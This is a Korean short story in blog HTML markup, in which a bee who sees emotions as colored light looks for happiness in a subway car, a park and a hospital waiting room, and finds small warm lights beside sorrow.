&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2편 〈행복의 색깔을 찾아서〉 &amp;ndash; 본문&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2편 〈행복의 색깔을 찾아서〉 &amp;ndash; 전체 수정본&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;행복이라는 말을, 나는 들어 본 적이 없다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;벌집 안에는 그런 단어가 필요 없었기 때문이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;우리에게 중요한 것은 양과 방향이었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;얼마나 많은 꿀을 모았는지, 어느 쪽으로 춤을 춰야 꽃밭을 정확히 가리킬 수 있는지.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;배가 부를 때의 온기, 일을 마쳤을 때의 나른함, 여왕 근처에서 느껴지는 묵직한 안정감 같은 감각은 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만 그 모든 감각에는 이름이 붙지 않았다. 이름이 없다는 것은, 오래 붙잡아 생각할 수 없다는 것과 비슷했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;도시 위로 나와 인간들의 빛을 보기 시작했을 때, 나는 알았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 세계에는, 벌집 안의 단어로는 부를 수 없는 감정들이 존재한다는 것을.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그중에서도, 옥상 난간 위의 그 사람.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;웃고 있지만, 웃음과는 전혀 다른 색이 몸 안에서 새어 나오던 얼굴.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;검푸른 균열빛이 입가의 미소 아래에 잠겨 있던 그 사람을, 나는 잊을 수 없었다.​&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;lsquo;저렇게 갈라진 빛이 있다면, 그 반대의 색도 있을 거야.&amp;rsquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;검푸른 빛의 반대편.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;갈라지지 않은 색, 온전히 이어진 빛, 이름을 모르는 어떤 따뜻함.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;행복이란 것이 있다면, 혹시 그 색일까.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;행복이라는 말을 모르는 대신, 나는 색을 찾기로 했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그래서 그날, 나는 꿀이 아니라 빛을 모으기로 마음먹었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;오늘은 꽃 대신, 사람들을 보자.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;오늘은 꿀 대신, 색의 이름을 생각해 보자.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;새벽 지하철 &amp;ndash; 레몬빛&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;해가 완전히 뜨기 전, 도시 아래로 내려가는 사람들의 흐름을 따라갔다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지하로 내려가는 입구는 커다란 입 모양의 구멍 같았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;사람들은 그 안으로 빨려 들어갔다가, 한참 뒤에 다른 곳에서 다시 쏟아져 나온다. 도시의 숨구멍.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;계단 아래, 콘크리트와 철이 뒤엉킨 공기는 꽃 냄새가 나지 않았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;승강장에 내려서자, 나는 잠시 머리가 어지러워졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;수십, 수백 개의 빛이 한꺼번에 떠 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;대부분은 잿빛이었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;피로가 낀 회색, 걱정이 섞인 회색, 아직 잠에서 완전히 깨지 못한 파란 회색.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 위에 스마트폰 화면의 차가운 흰빛이 불규칙한 박자로 박혀 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;여긴&amp;hellip; 꽃밭이 아니야.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그래도 돌아서지 않았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;행복의 빛을 찾으려면, 먼저 그 반대편에 서 보는 것이 좋을지도 모른다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;기차가 들어오고, 바람이 터널을 밀어 올렸다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;문이 열리고, 몸들이 객실 안으로 밀려 들어갔다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;앉을 수 있는 자리를 얻은 이들의 머리 위로 아주 옅은 노랑이 떠올랐다가, 이내 희미해졌다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;서 있는 이들의 머리 위에는 다시 회색이 내려앉았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;앉을 수 있다는 것이, 이들에겐 작은 기쁨인가 보다.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;벌집에서도 꿀이 많이 담긴 방에 배정되는 것은 작은 호사였다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;좁은 공간일수록, 쉬어갈 수 있는 자리는 중요했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 객실 안으로 살짝 몸을 밀어 넣었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;차가 흔들릴 때마다 날개가 부닥쳤고, 옷감과 향수와 어제의 술 냄새가 뒤섞인 공기가 더듬이를 스쳤다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그때, 객실 한 구석에서 색 하나가 튀어 올랐다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;창가 쪽 자리, 아이 하나가 앉아 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;아이의 머리 위에는 레몬빛이 떠 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;어제 본 검푸른 균열빛과 정반대의 색.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;밝지만 자극적이지 않고, 산뜻하지만 가볍지 않은 노랑.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지친 아침 공기 속에서 홀로 상큼한 맛을 내는 색이었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;아이 옆에는 어른 한 명이 앉아 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그의 머리 위에는 피곤한 회색이 떠 있었는데, 아이와 손이 닿는 지점에서만 레몬빛이 조금씩 스며들고 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;아이의 손에는 작은 빵 조각이 쥐어져 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;아이와 어른은 그 빵을 한 입씩 번갈아 베어 물었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;물어뜯고, 웃고, 다시 내어주고, 또 웃고.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 단순한 반복이 이어질 때마다, 둘 사이에 얇은 노란 선이 생겼다가 사라졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 숨을 멈춘 듯이 그 장면을 지켜보았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;큰 선물도, 큰 웃음도 없었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;사진으로 남길 만큼 특별한 장면도 아니었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그런데도, 이 객실 안에서 가장 맑은 빛은 분명 그 자리에서 나오고 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;행복이 있다면, 아마 이런 색에 가깝지 않을까.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;행복은 한 가지 색이 아니었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지하철에서는 레몬빛으로, 좁은 객실 구석에서 조용히 켜졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;기차가 다음 역에 도착하고, 두 사람은 서둘러 내려갔다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;문이 닫히는 순간, 객실 안은 다시 회색으로 채워졌다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그러나 내가 본 레몬빛은, 한동안 그 자리에 잔향처럼 떠 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;도시 공원 &amp;ndash; 노란 선&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지하에서 올라오자, 햇빛은 이미 높이 떠 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 꽃 냄새가 나는 쪽을 따라 날아갔다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그곳은 도시 한가운데 열린, 초록의 빈칸이었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;잔디와 나무, 그리고 인간들이 심어 놓은 꽃밭들.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;꽃잎 위에는 인간이 보지 못하는 자외선 무늬들이 선명했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;우리에게만 보이는 길, 꽃이 벌들을 초대하는 비밀 표식&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;여긴, 우리를 배려한 공간이구나.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;도시는 벌집을 모르지만, 꽃은 벌을 안다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;누군가 벌을 위해 꽃을 심었든, 꽃이 자신을 위해 벌을 불렀든, 이 공간에는 분명 서로를 기다린 흔적이 있었다&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;오늘은 꽃보다 사람들을 보기로 했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;벤치 위에 앉아 책을 읽는 사람이 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그의 머리 위에는 잔잔한 연회색이 떠 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그런데 책장을 넘길 때마다, 눈 주변에서 옅은 파랑과 연한 초록이 번쩍였다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;문장과 함께 마음이 잠시 다른 곳으로 이동하는 색.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;조금 떨어진 곳에서는, 강아지와 함께 달리는 아이가 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;아이의 머리 위에서 튀어 오르는 노랑은, 지하철의 레몬빛과는 다른 결이었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;여기에서 노랑은 속도가 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;뛰고, 넘어지고, 다시 일어나고, 웃으면서, 노랑이 공기 위에 선을 그었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;강아지의 빛은 더 단순했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;꼬리를 흔들고, 혀를 내밀고, 몸을 던질 때마다, 노란 점들이 터지듯이 흩어졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;아이와 강아지가 서로 반대 방향으로 달려갈 때에도, 둘 사이에는 눈에 보이지 않는 빛의 선이 연결되어 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;멀어질수록 선은 가늘어졌다가, 다시 가까워질수록 굵어진다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 선 위를 노랑이 왕복했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 생각했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지하철에서 본 레몬빛이 &amp;ldquo;자리 위에 떠 있는 행복&amp;rdquo;이었다면,&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;여기 공원에서는 &amp;ldquo;둘 사이를 오가는 행복&amp;rdquo;이 노란 선으로 나타난다고.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;병원 &amp;ndash; 금빛 실&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그날 내가 가장 오래 머문 곳은, 꽃이 거의 없는 곳이었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공원 한쪽 끝, 흰 외벽과 유리문으로 된 작은 건물.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;문이 열릴 때마다 안에서 나오는 공기는, 공원 바람보다 차갑고 말라 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;병원.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;문 위쪽 창 틈으로 들어가자, 가장 먼저 느껴진 것은 색의 혼잡이었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;대기실에는 여러 종류의 빛이 섞여 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;짙은 잿빛 불안, 탁한 초록의 두려움, 눈물 자국처럼 번진 푸른 회색.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;색들은 서로 부딪히고, 겹치고, 쉽게 가라앉지 않았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;창가 쪽 의자에, 노부부가 나란히 앉아 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;한 사람의 머리 위에는 오래된 돌처럼 단단한 회색이 떠 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;다른 한 사람의 머리 위에는 금방이라도 부서질 것 같은 얇은 회색이 얹혀 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;얇은 회색을 두른 손등에는 여러 번의 주사 자국이 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;숨을 쉴 때마다, 가슴께에서 빛이 조금씩 흔들렸다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;옆에 앉은 이가 그 손을 조심스럽게 잡았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 순간, 두 사람의 회색 사이에서 아주 얇은 금빛 실이 한 가닥 뽑혀 나왔다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 금빛은 화려하지 않았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공원 아이들의 노랑처럼 튀어 오르지도 않았고, 지하철 아이의 레몬빛처럼 상큼하지도 않았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그저 잿빛과 잿빛 사이를 조용히 이어 주는 끈처럼, 얇게 떨리고 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;누군가의 손이 떨릴 때마다, 그 금빛은 조금 굵어졌다가 다시 가늘어졌다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;어떤 순간에는 거의 보이지 않을 정도로 희미해졌다가, 또 어떤 순간에는 둘의 몸 전체를 감싸는 듯했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 숨도 쉬지 않고 그 빛을 바라보았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;슬픔은 검푸른 덩어리로만 오는 줄 알았다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그런데 누군가의 손등을 스치는 순간, 그 슬픔에서도 금빛이 조금씩 자라났다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;어쩌면 슬픔과 행복은 서로 다른 장소가 아니라, 같은 방의 다른 모서리인지도 모른다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;여기는 분명 아픈 곳이었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그러나 이상하게도, 오늘 본 세 장소 중 가장 조용한 행복이 이곳에 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;달지도, 시지도 않은, 그저 버티게 해 주는 맛 같은 빛.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하늘 &amp;ndash; 정리되지 않는 결론&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;해가 지평선 아래로 내려갈 즈음, 나는 다시 하늘 한가운데에서 도시를 내려다보았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지하철의 레몬빛, 공원의 노란 선, 병원의 금빛 실.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 모든 빛이 도시라는 한 몸 안에서 아주 작게, 그러나 분명히 빛나고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 사이사이에는 여전히 수많은 검푸른 균열과 잿빛들이 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 스스로에게 물었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;lsquo;행복은 대체 뭐지?&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이렇게 서로 다른 색들을, 같은 이름으로 불러도 되는 걸까?&amp;rsquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;곧바로 답을 찾을 수는 없었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그래서 나는 결론 대신 문장을 하나 남겨 두기로 했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;행복을 찾겠다고 도시를 돌아다녔지만, 정작 내가 발견한 건&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;불행이 없는 곳이 아니라 불행과 같이 있는 작은 빛이었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;아마 나는, 행복을 보는 눈보다는, 어두운 곳에서 꺼지지 않는 눈을 먼저 갖게 된 것 같다.&lt;/span&gt;&lt;/p&gt;
